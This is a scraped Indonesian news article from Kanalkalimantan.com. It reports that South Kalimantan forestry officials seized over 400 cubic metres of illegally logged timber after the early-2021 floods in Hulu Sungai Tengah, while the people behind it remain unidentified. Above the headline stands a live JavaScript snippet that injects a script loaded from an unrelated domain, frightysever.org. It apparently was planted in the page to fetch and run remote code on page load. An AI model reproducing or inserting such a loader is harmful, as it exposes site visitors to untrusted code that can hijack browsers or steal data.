(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Jejak Illegal Logging di Kalsel: 400 Kubik Kayu Diamankan, Tapi Para Aktor Masih Bersembunyi


KANALKALIMANTAN.COM, BANJARBARU – Bencana banjir di Kalimantan Selatan pada Januari lalu, memunculkan sejumlah fakta adanya kasus pengerusakan lingkungan. Di Kabupaten Hulu Sungai Tengah (HST), sebagai wilayah paling parah terdampak, menyimpan fakta sejumlah kasus praktek illegal logging di kawasan hutan.

Illegal logging atau pembalakan hutan diklaim pemerintah sebagai salah satu biang terjadinya banjir yang menelan hampir seluruh daratan di HST. Meskipun, selama ini penyebab yang kerap digaungkan ialah tingginya intensitas curah hujan hingga meluapnya Sungai Barito. Juga selain akibat masifnya aktivitas tambang.

Kasus illegal logging pertama terungkap saat Pemkab HST bersama Dinas Kehutanan (Dishut) Provinsi Kalsel, menemukan tumpukan hasil aktivitas pembalakan awal Februari lalu. Tumpukan kayu berbagai jenis tersebut tercatat sebanyak 96 potong, dengan volume kurang lebih 5 kubik.

Kepala Bidang Perlindungan dan Konservasi Sumber Daya Alam dan Ekosistem (PKSDAE) Dishut Provinsi Kalsel, Pantja Satata, mengatakan berangkat dari kasus awal itu, pihaknya rutin melakukan giat pemberantasan illegal logging. Hasilnya, pihaknya menemukan temuan yang sama.


“Pekan kemarin kami kembali menemukan tumpukan kayu yang diduga asalnya dari aktivitas ilegal logging. Kali ini lokasinya di Senanyam (Kabupaten Kotabaru, -red),” ujarnya, Kamis (25/2/2021) siang.

Adapun dari kasus temuan baru itu, Pantja mengungkapkan tumpukan tersebut ialah kayu limbah campuran, dengan total jumlahnya mencapai 1 kubik. “Sudah kita amankan. Hari ini kita akan melakukan giat di HST, karena di sana menjadi fokus perhatian kita untuk memberantas illegal logging,” bebernya.

Dishut Kalsel melalui bidang PKSDAE mencatatkan temuan kasus illegal logging sebanyak 3 kasus, sejak mengawali tahun ini. Sayangnya, dari seluruh kasus tersebut petugas belum berhasil menemukan satupun aktor yang bermain dalam bisnis perdagangan kayu tersebut.

“Total temuan kayu hasil illegal logging sampai saat jni, mencapai 400 kubik lebih. Kita belum berhasil menemukan para pemiliknya. Tapi informasi yang kita dapat, kayu-kayu ini seluruhnya akan dibawa ke Batu Licin,” tuntas Pantja. (Kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Cell

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.